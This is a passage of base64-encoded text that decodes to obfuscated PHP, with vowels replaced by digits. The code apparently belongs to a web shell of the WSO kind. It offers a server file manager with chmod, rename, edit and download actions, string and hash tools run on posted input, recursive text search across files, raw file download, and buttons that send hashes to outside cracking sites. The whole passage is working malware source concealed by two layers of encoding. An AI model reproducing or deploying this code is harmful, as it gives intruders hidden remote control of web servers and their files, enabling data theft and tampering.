ncmc0ZChAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkpOyANCiAgICAgICAgJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sIA0KICAgICAgICAgICAgICAgICAgICAgJ3AxdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0sIA0KICAgICAgICAgICAgICAgICAgICAgJ20yZDRmeScgPT4gZDF0NSgnWS1tLWQgSDo0OnMnLCBAZjRsNW10NG01KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpLCANCiAgICAgICAgICAgICAgICAgICAgICdwNXJtcycgPT4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pLCANCiAgICAgICAgICAgICAgICAgICAgICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksIA0KICAgICAgICAgICAgICAgICAgICAgJzJ3bjVyJyA9PiAkMndbJ24xbTUnXT8kMndbJ24xbTUnXTpAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSksIA0KICAgICAgICAgICAgICAgICAgICAgJ2dyMjNwJyA9PiAkZ3JbJ24xbTUnXT8kZ3JbJ24xbTUnXTpAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkgDQogICAgICAgICAgICAgICAgICAgICk7IA0KICAgICAgICA0ZihANHNfZjRsNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKSANCiAgICAgICAgICAgICRmNGw1c1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdmNGw1JykpOyANCiAgICAgICAgNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpIA0KICAgICAgICAgICAgJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnbDRuaycsICdsNG5rJyA9PiByNTFkbDRuaygkdG1wWydwMXRoJ10pKSk7IA0KICAgICAgICA1bHM1NGYoQDRzX2Q0cigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pJiYgKCRkNHJDMm50NW50WyQ0XSAhPSAiLiIpKSANCiAgICAgICAgICAgICRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsgDQogICAgfSANCiAgICAkR0xPQkFMU1snczJydCddID0gJHMycnQ7IA0KICAgIGYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsgDQogICAgICAgIDRmKCRHTE9CQUxTWydzMnJ0J11bMF0gIT0gJ3M0ejUnKSANCiAgICAgICAgICAgIHI1dDNybiBzdHJjbXAoc3RydDJsMnc1cigkMVskR0xPQkFMU1snczJydCddWzBdXSksIHN0cnQybDJ3NXIoJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsgDQogICAgICAgIDVsczUNCiAgICAgICAgICAgIHI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7IA0KICAgIH0gDQogICAgM3MycnQoJGY0bDVzLCAid3MyQ21wIik7IA0KICAgIDNzMnJ0KCRkNHJzLCAid3MyQ21wIik7IA0KICAgICRmNGw1cyA9IDFycjF5X201cmc1KCRkNHJzLCAkZjRsNXMpOyANCiAgICAkbCA9IDA7IA0KICAgIGYycjUxY2goJGY0bDVzIDFzICRmKSB7IA0KICAgICAgICA1Y2gyICc8dHInLigkbD8nIGNsMXNzPWw2JzonJykuJz48dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0iZltdIiB2MWwzNT0iJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJyIgY2wxc3M9Y2hrYng+PC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9IicuKCgkZlsndHlwNSddPT0nZjRsNScpPydnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndjQ1d1wnKSI+Jy5odG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pOidnKFwnRjRsNXNNMW5cJyxcJycuJGZbJ3AxdGgnXS4nXCcpOyIgdDR0bDU9JyAuICRmWydsNG5rJ10gLiAnPjxiPlsgJyAuIGh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSkgLiAnIF08L2I+JykuJzwvMT48L3RkPjx0ZD4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT93czJWNDV3UzR6NSgkZlsnczR6NSddKTokZlsndHlwNSddKS4nPC90ZD48dGQ+Jy4kZlsnbTJkNGZ5J10uJzwvdGQ+PHRkPicuJGZbJzJ3bjVyJ10uJy8nLiRmWydncjIzcCddLic8L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLFwnY2htMmRcJykiPicuJGZbJ3A1cm1zJ10gDQogICAgICAgICAgICAuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwvdGQ+PC90cj4nOyANCiAgICAgICAgJGwgPSAkbD8wOjY7IA0KICAgIH0gDQogICAgNWNoMiAiPHRyPjx0ZCBjMmxzcDFuPTc+IA0KICANCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+IA0KICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPiANCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4iJz4gDQogICAgPHM1bDVjdCBuMW01PSdwNic+PDJwdDQybiB2MWwzNT0nYzJweSc+QzJweTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J20ydjUnPk0ydjU8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdkNWw1dDUnPkQ1bDV0NTwvMnB0NDJuPiI7IA0KICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSANCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nejRwJz5DMm1wcjVzcyAoejRwKTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9JzNuejRwJz5VbmMybXByNXNzICh6NHApPC8ycHQ0Mm4+IjsgDQogICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ndDFyJz5DMm1wcjVzcyAodDFyLmd6KTwvMnB0NDJuPiI7IA0KICAgIDRmKCE1bXB0eSgkX1NFU1NJT05bJzFjdCddKSAmJiBAYzIzbnQoJF9TRVNTSU9OWydmJ10pKSANCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ncDFzdDUnPlAxc3Q1IC8gQzJtcHI1c3M8LzJwdDQybj4iOyANCiAgICA1Y2gyICI8L3M1bDVjdD4mbmJzcDsiOyANCiAgICA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkgJiYgQGMyM250KCRfU0VTU0lPTlsnZiddKSAmJiAoKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHx8ICgkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSkpIA0KICAgICAgICA1Y2gyICJmNGw1IG4xbTU6IDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wYSB2MWwzNT0nd3MyXyIgLiBkMXQ1KCJZbWRfSDRzIikgLiAiLiIgLiAoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJz8nejRwJzondDFyLmd6JykgLiAiJz4mbmJzcDsiOyANCiAgICA1Y2gyICI8NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj48L2Yycm0+PC90MWJsNT48L2Q0dj4iOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KICANCmYzbmN0NDJuIDFjdDQyblN0cjRuZ1QyMmxzKCkgeyANCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhYjRuJykpIHtmM25jdDQybiBoNXhhYjRuKCRwKSB7cjV0M3JuIGQ1Y2I0bihoNXhkNWMoJHApKTt9fSANCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0gDQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0gDQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0gDQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0gDQogICAgJHN0cjRuZ1QyMmxzID0gMXJyMXkoIA0KICAgICAgICAnQjFzNWV1IDVuYzJkNScgPT4gJ2IxczVldV81bmMyZDUnLCANCiAgICAgICAgJ0IxczVldSBkNWMyZDUnID0+ICdiMXM1ZXVfZDVjMmQ1JywgDQogICAgICAgICdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywgDQogICAgICAgICdVcmwgZDVjMmQ1JyA9PiAnM3JsZDVjMmQ1JywgDQogICAgICAgICdGM2xsIDNybDVuYzJkNScgPT4gJ2YzbGxfM3JsNW5jMmQ1JywgDQogICAgICAgICdtZGkgaDFzaCcgPT4gJ21kaScsIA0KICAgICAgICAnc2gxNiBoMXNoJyA9PiAnc2gxNicsIA0KICAgICAgICAnY3J5cHQnID0+ICdjcnlwdCcsIA0KICAgICAgICAnQ1JDb2EnID0+ICdjcmNvYScsIA0KICAgICAgICAnQVNDSUkgdDIgSEVYJyA9PiAnMXNjNDRhaDV4JywgDQogICAgICAgICdIRVggdDIgQVNDSUknID0+ICdoNXhhMXNjNDQnLCANCiAgICAgICAgJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLCANCiAgICAgICAgJ0hFWCB0MiBCSU4nID0+ICdoNXhhYjRuJywgDQogICAgICAgICdERUMgdDIgSEVYJyA9PiAnZDVjaDV4JywgDQogICAgICAgICdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywgDQogICAgICAgICdCSU4gdDIgSEVYJyA9PiAnYjRuaDV4JywgDQogICAgICAgICdCSU4gdDIgREVDJyA9PiAnYjRuZDVjJywgDQogICAgICAgICdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLCANCiAgICAgICAgJ1N0cjRuZyB0MiAzcHA1ciBjMXM1JyA9PiAnc3RydDIzcHA1cicsIA0KICAgICAgICAnSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLCANCiAgICAgICAgJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLCANCiAgICApOyANCiAgICA0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsgDQogICAgICAgIDJiX3N0MXJ0KCk7IA0KICAgICAgICA0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpIA0KICAgICAgICAgICAgNWNoMiAkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKTsgDQogICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS40bm41ckhUTUw9JyIuMWRkY3NsMXNoNXMoaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOyANCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsgDQogICAgICAgIDV4NHQ7IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgJzxoNj5TdHI0bmcgYzJudjVyczQybnM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOyANCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsgDQogICAgNWNoMiAiPGYycm0gbjFtNT0ndDIybHNGMnJtJyAyblMzYm00dD0nNGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fSByNXQzcm4gZjFsczU7Jz48czVsNWN0IG4xbTU9J3M1bDVjdFQyMmwnPiI7IA0KICAgIGYycjUxY2goJHN0cjRuZ1QyMmxzIDFzICRrID0+ICR2KSANCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOyANCiAgICAgICAgNWNoMiAiPC9zNWw1Y3Q+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jy8+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICIuKEAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLiI+IHM1bmQgM3M0bmcgQUpBWDxicj48dDV4dDFyNTEgbjFtNT0nNG5wM3QnIHN0eWw1PSdtMXJnNG4tdDJwOmlweCcgY2wxc3M9YjRnMXI1MT4iLig1bXB0eSgkX1BPU1RbJ3A2J10pPycnOmh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsncGEnXSkpLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOyANCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKTVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKSk7IA0KICAgIH0gDQogICAgNWNoMiI8L3ByNT48L2Q0dj48YnI+PGg2PlM1MXJjaCB0NXh0IDRuIGY0bDVzOjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PiANCiAgDQogICAgICAgIDxmMnJtIDJuczNibTR0PVwiZyhuM2xsLHRoNHMuY3dkLnYxbDM1LG4zbGwsdGg0cy50NXh0LnYxbDM1LHRoNHMuZjRsNW4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48dDFibDUgYzVsbHAxZGQ0bmc9JzYnIGM1bGxzcDFjNG5nPScwJyB3NGR0aD0naTAlJz4gDQogICAgICAgICAgICA8dHI+PHRkIHc0ZHRoPSc2JSc+VDV4dDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ndDV4dCcgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPlAxdGg6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2N3ZCcgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPk4xbTU6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2Y0bDVuMW01JyB2MWwzNT0nKicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPiANCiAgICAgICAgICAgIDwvdDFibDU+PC9mMnJtPiI7IA0KICANCiAgICBmM25jdDQybiB3czJSNWMzcnM0djVHbDJiKCRwMXRoKSB7IA0KICAgICAgICA0ZihzM2JzdHIoJHAxdGgsIC02KSAhPSAnLycpIA0KICAgICAgICAgICAgJHAxdGguPScvJzsgDQogICAgICAgICRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOyANCiAgICAgICAgNGYoNHNfMXJyMXkoJHAxdGhzKSYmQGMyM250KCRwMXRocykpIHsgDQogICAgICAgICAgICBmMnI1MWNoKCRwMXRocyAxcyAkNHQ1bSkgeyANCiAgICAgICAgICAgICAgICA0ZihANHNfZDRyKCQ0dDVtKSl7IA0KICAgICAgICAgICAgICAgICAgICA0ZigkcDF0aCE9JDR0NW0pIA0KICAgICAgICAgICAgICAgICAgICAgICAgd3MyUjVjM3JzNHY1R2wyYigkNHQ1bSk7IA0KICAgICAgICAgICAgICAgIH0gNWxzNSB7IA0KICAgICAgICAgICAgICAgICAgICA0ZihAc3RycDJzKEBmNGw1X2c1dF9jMm50NW50cygkNHQ1bSksIEAkX1BPU1RbJ3BhJ10pIT09ZjFsczUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIixuM2xsLFwiIi4zcmw1bmMyZDUoJDR0NW0pLiJcIiwgXCJ2NDV3XCIpJz4iLmh0bWxzcDVjNDFsY2gxcnMoJDR0NW0pLiI8LzE+PGJyPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgNGYoQCRfUE9TVFsncG8nXSkgDQogICAgICAgIHdzMlI1YzNyczR2NUdsMmIoJF9QT1NUWydjJ10pOyANCiAgICA1Y2gyICI8L2Q0dj48YnI+PGg2PlM1MXJjaCBmMnIgaDFzaDo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4gDQogIA0KICAgICAgICA8ZjJybSBtNXRoMmQ9J3Ayc3QnIHQxcmc1dD0nX2JsMW5rJyBuMW01PSdoZic+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2gxc2gnIHN0eWw1PSd3NGR0aDphMDBweDsnPjxicj4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0naDFzaGNyMWNrLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5oMXNoY3IxY2suYzJtLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J200bHcwcm0uYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lm00bHcwcm0uYzJtL2NyMWNrNXIvczUxcmNoLnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2gxc2hjcjFjazRuZy40bmYyJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwczovL2gxc2hjcjFjazRuZy40bmYyLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaS5yNWRuMjR6NS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9tZGkucjVkbjI0ejUuYzJtLz9xPScrZDJjM201bnQuaGYuaDFzaC52MWwzNSsnJnM9bWRpJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbWRpZDVjcnlwdDVyLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5tZGlkNWNyeXB0NXIuYzJtLyc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICA8L2Yycm0+PC9kNHY+IjsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5GNGw1c1QyMmxzKCkgeyANCiAgICA0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApIA0KICAgICAgICAkX1BPU1RbJ3A2J10gPSAzcmxkNWMyZDUoJF9QT1NUWydwNiddKTsgDQogICAgNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgeyANCiAgICAgICAgNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsgDQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIuYjFzNW4xbTUoJF9QT1NUWydwNiddKSk7IA0KICAgICAgICAgICAgNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgeyANCiAgICAgICAgICAgICAgICAkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOyANCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogIiAuICR0eXA1KTsgDQogICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7IA0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsgDQogICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgd2g0bDUoIUBmNTJmKCRmcCkpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOyANCiAgICAgICAgICAgICAgICBmY2wyczUoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9NXg0dDsgDQogICAgfSANCiAgICA0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsgDQogICAgICAgIDRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3cnKTsgDQogICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gIjVkNHQiOyANCiAgICAgICAgICAgICAgICBmY2wyczUoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgJzxoNj5GNGw1IHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsgDQogICAgNGYoICFmNGw1XzV4NHN0cyhAJF9QT1NUWydwNiddKSApIHsgDQogICAgICAgIDVjaDIgJ0Y0bDUgbjJ0IDV4NHN0cyc7IA0KICAgICAgICB3czJGMjJ0NXIoKTsgDQogICAgICAgIHI1dDNybjsgDQogICAgfSANCiAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJF9QT1NUWydwNiddKSk7IA0KICAgIDRmKCEkMzRkKSB7IA0KICAgICAgICAkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7IA0KICAgICAgICAkZzRkWyduMW01J10gPSBAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSk7IA0KICAgIH0gNWxzNSAkZzRkID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKSk7IA0KICAgIDVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT93czJWNDV3UzR6NShmNGw1czR6NSgkX1BPU1RbJ3A2J10pKTonLScpLicgPHNwMW4+UDVybTRzczQybjo8L3NwMW4+ICcud3MyUDVybXNDMmwycigkX1BPU1RbJ3A2J10pLicgPHNwMW4+T3duNXIvR3IyM3A6PC9zcDFuPiAnLiQzNGRbJ24xbTUnXS4nLycuJGc0ZFsnbjFtNSddLic8YnI+JzsgDQogICAgNWNoMiAnPHNwMW4+Q3I1MXQ1IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1Y3Q0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5BY2M1c3MgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDUxdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPk0yZDRmeSB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLic8YnI+PGJyPic7IA0KICAgIDRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkgDQogICAgICAgICRfUE9TVFsncGEnXSA9ICd2NDV3JzsgDQogICAgNGYoIDRzX2Y0bDUoJF9QT1NUWydwNiddKSApIA0KICAgICAgICAkbSA9IDFycjF5KCdWNDV3JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdINXhkM21wJywgJ0VkNHQnLCAnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7IA0KICAgIDVsczUNCiAgICAgICAgJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7IA0KICAgIGYycjUxY2goJG0gMXMgJHYpIA0KICAgICAgICA1Y2gyICc8MSBocjVmPSMgMm5jbDRjaz0iZyhuM2xsLG4zbGwsbjNsbCxcJycuc3RydDJsMnc1cigkdikuJ1wnKSI+Jy4oKHN0cnQybDJ3NXIoJHYpPT1AJF9QT1NUWydwYSddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC8xPiAnOyANCiAgICA1Y2gyICc8YnI+PGJyPic7IA0KICAgIHN3NHRjaCgkX1BPU1RbJ3BhJ10pIHsgDQogICAgICAgIGMxczUgJ3Y0NXcnOiANCiAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2P